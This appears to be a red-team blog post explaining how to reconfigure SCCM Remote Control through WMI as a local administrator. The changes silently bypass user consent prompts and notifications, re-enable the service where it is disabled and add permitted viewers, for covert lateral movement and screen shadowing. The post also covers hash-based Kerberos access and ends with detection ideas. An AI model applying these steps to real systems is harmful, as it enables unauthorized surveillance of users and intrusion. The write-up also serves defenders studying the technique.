# Abuse SCCM Remote Control as Native VNC
Imagine being able to connect to any SCCM-managed system using a VNC-like connection without the need for installing additional malicious modules, and even doing so remotely by abusing SCCM Remote Control features.
## What does that mean?
If you are an IT support professional, system administrator, or have been contacted by IT support for remote assistance, you may have heard about the **Remote Control** feature supported by SCCM Configuration Manager. According to Microsoft, Remote Control feature is:
*"Use remote control to remotely administer, provide assistance, or view any client computer in the hierarchy. You can use remote control to troubleshoot hardware and software configuration problems on client computers and to provide support."*
In 90% of enterprise environment setups, using the remote control feature typically triggers below consent prompts and notifications on the user's client machine for obvious security reasons and to ensure user awareness.
* Prompt user for Remote Control permission
* Show session notification icon on taskbar
* Show session conection bar
* Play a sound on client
These settings can be configured in the `Configuration Manager Console`.
What if I told you that you can bypass all these restrictions and connect to a client machine via SCCM remote control without requiring any user consent and notifications? This technique could then be useful for lateral movement or shadow monitoring through ports 135 and 2701.
To make this work, I will begin by discussing some of the challenges and considerations that need to be addressed. This process will ultimately lead to an implementation suitable for use in a red team engagement.
## Problem set 1: Bypass the user consent and notifications
To begin with, I first started by identifying the service that controls the remote control feature on the SCCM client machine.
It is then important to understand how the service retrieves the remote control configuration settings. By checking the persudo code of the service binary, it is observed that the service first checks if the remote control feature is enabled on the client workstation by verifying the `Enabled` status via querying a WMI class `Ccm_RemoteToolsConfig` within the name space (`root\ccm\policy\Machine\ActualConfig`).
With a lead on where to examine the configuration on the client machine, I began reviewing the properties to understand how they could affect the remote control communication process.
I then observed that whenever I modified any of the properties, `CcmExec` would query the settings again and update the corresponding registry values (`HKLM\SOFTWARE\Microsoft\SMS\Client\Client Components\Remote Control`) with the latest value of the properties.
The service log (`C:\Windows\CCM\CcmExec.log`) can also be used to confirm CcmExec will monitor the change in the properties of the RemoteToolsConfig WMI class via `__InstanceModificationEvent` and update it accordingly.
I later discovered the SCCM client process (`CcmExec`) leveraged `__InstanceModificationEvent` to monitor changes in the properties of the `Ccm_RemoteToolsConfig` WMI class by checking the service log located at `C:\Windows\CCM\Logs\CcmExec.log`.
Since both WMI class and registry stores the SCCM remote control client settings, I further exminated the code in the `CmRcService.exe` service binary and observed that, when a new connection is established, the service checks all configuration settings from the registry mentioned above.
Based on the above understanding, I can reasonably assume that modifying the properties in the specific WMI class could influence the behavior of the SCCM remote control. I then attempted to change some properties to validate this assumption.
{% hint style="info" %}
To ensure that reconfiguration can be performed remotely on a server or workstation, it is more ideal to use remote WMI rather than remote registry, as remote registry is disabled by default on workstations.
{% endhint %}
After updating the settings, I launched the remote control again from the SCCM server and confirmed that the assumption was correct. By modifying the properties in the specific WMI class with administrative privilege, remote control can be initiated on an SCCM client machine without triggering any visual or auditory notifications for the user.
{% hint style="info" %}
Reconfigure the SCCM remote control setting does not require service restart. CmRcService service will read the configurations in the registry for every new connection.
{% endhint %}
## Problem set 2: Use the remote control feature in a non-SCCM server
Now that it has been proven we can create a VNC-like remote control session on an SCCM client machine with no additional notifications and prompt, the next question is whether we can use this remote control independently from SCCM.
Especially in a red team engagement, it is uncommon to gain RDP access on a compromised machine to execute `CmRcViewer.exe` or you don't always in a position to launch the remote control in a SCCM server. It would be less than ideal if this technique requires RDP access to the SCCM server. Fortunately, the remote control viewer `CmRcViewer.exe` is simply a standalone application.
To use it from any other machine (including non-domain joined systems), all you need to do is copy the following files from the `C:\Program Files (x86)\Microsoft Configuration Manager\AdminConsole\bin\i386\` directory:
* 00000409\CmRcViewerRes.dll
* CmRcViewer.exe
* rdpcoresccm.dll
This is not a new finding, as using SCCM remote control as a standalone tool [was discussed within the IT admin community](https://ccmexec.com/2019/05/install-cm-remote-tools-standalone-using-powershell/) a few years ago.
## Problem set 3: Do I need to be an SCCM administrator or hold a relevant SCCM role (e.g., Remote Tools Operator) to use the remote control feature?
The answer is simple: you only need to be a local administrator on the target machine to perform everything I have described. Since you can modify the WMI class settings as a local admin, changing the `AllowLocalAdminToDoRemoteControl` setting will allow local administrator to perform SCCM remote control.
There is a scenario where you gain SYSTEM access to a machine but do not have administrative credentials, NTLM hashes, or plaintext passwords. In this case, you can still use SCCM remote control by adding a user you control (whether a local or domain account) as a permitted viewer via WMI.
{% hint style="info" %}
Add local/domain users to PermittedViewers means these users will be automatically added to the local group "ConfigMgr Remote Control Users".
{% endhint %}
## Problem set 4: How do I use it in the red team engagement? Can I use it without a plaintext password?
In most red team engagements, you don't often have the luxury of obtaining plaintext password of any local/domain administrative user. More often, all you have is an NTLM hash of an administrative user.
Guess what? The SCCM remote control supports Kerberos authentication. In a recent engagement, I set up a SOCKS proxy in my beacon and used the NTLM hash of a compromised administrative account to obtain a TGT ticket. I then leveraged the TGT ticket to authenticate and modify the SCCM remote control configurations via WMI on the target machine.
and use the SCCM remote control viewer binary `CmRcViewer.exe` to connect the targeted machine.
## Problem set 5: Use this techinque in an environment with SCCM Remote Control feature disabled
The SCCM remote control relies on the `CmRcService` service running on the client machine. If SCCM remote control is disabled in the client settings, this service will not be active. However, the `CmRcService` and `CcmExec` service checks the configuration in the WMI class to determine whether the feature is enabled or not.
Therefore, by manipulating the `Enabled` property in the `CCM_RemoteToolsConfig` WMI class, you can effectively initiate the SCCM remote control service, bypassing the settings configured in the SCCM portal. Specifically, the `CcmExec` service will automatically start the `CmRcService` if it is marked as enabled in the WMI class.
Upon reviewing the CcmExec log, it can be confirmed that the status of the `CmRcService` service is managed by the`CcmExec` SCCM client service. The `CcmExec` service monitors changes in the SCCM remote control setting in WMI and updates the remote control service (`CmRcService`) accordingly.
## Implementation
Based on this techinque, I created a tool called **SCCMVNC.** It is a C# based tool helps to check the current SCCM remote control settings on a local/remote host and re-configure the settings to disable all the user consent requirement and notifications.
This tool will basically help you to disable all the permission required prompt and notifications via WMI and you can use it against a remote system.
Link for the tool:
## Additional questions that you may ask
* Can SCCM remote control handles multiple screens? Yes
* Can I create hidden VNC with this instead of shadowing? No.
* Can I approve UAC while I am connected to the workstation using SCCM remote control? Yes
* Can this bypasses remote UAC restriction? No. While you can use any local/domain non-administrative account to control a machine via SCCM VNC by adding the user as a viewer, you still need a high-integrity token with elevated privileges to reconfigure the SCCM remote control settings through WMI remotely.
* Can I select which RDP session to VNC? No. It always goes to **console** session.
* Do I need to manually restore the settings after reconfiguring them on the client side? No, the SCCM client agent periodically retrieves settings from the SCCM server. The original settings will be automatically restored.
* Are the changes effective immediately after reconfiguration? Yes. `CcmExec` updates the new settings in the registry immediately, and `CmRcService` checks the registry for the latest settings with every new incoming connection.
## Detection and threat hunting ideas
* Endpoint event: Monitor query/access to WMI class `CCM_RemoteToolsConfig` from uncommon process (e.g., SCCCMVNC.exe, powershell.exe)
* Endpoint event: Monitor Windows events for the start of the `CmRcService` service, especially if remote control is intended to be disabled in your environment.
* Endpoint event: Monitor new user added to local group `ConfigMgr Remote Control Users`
* Network monitoring: Monitor suspicious connections with a destination port of 2701 originating from non-SCCM or non-IT administration subnets.
* Investigate the remote control service log at `C:\Windows\CCM\Logs\CmRcService.log` to identify the source IP that initiated the connection and the account used.
* Investigate SCCM client log at `C:\Windows\CCM\Logs\CcmExec.log` to identify supicious modification events in the remote control config WMI class.
## Reference
{% embed url="" %}
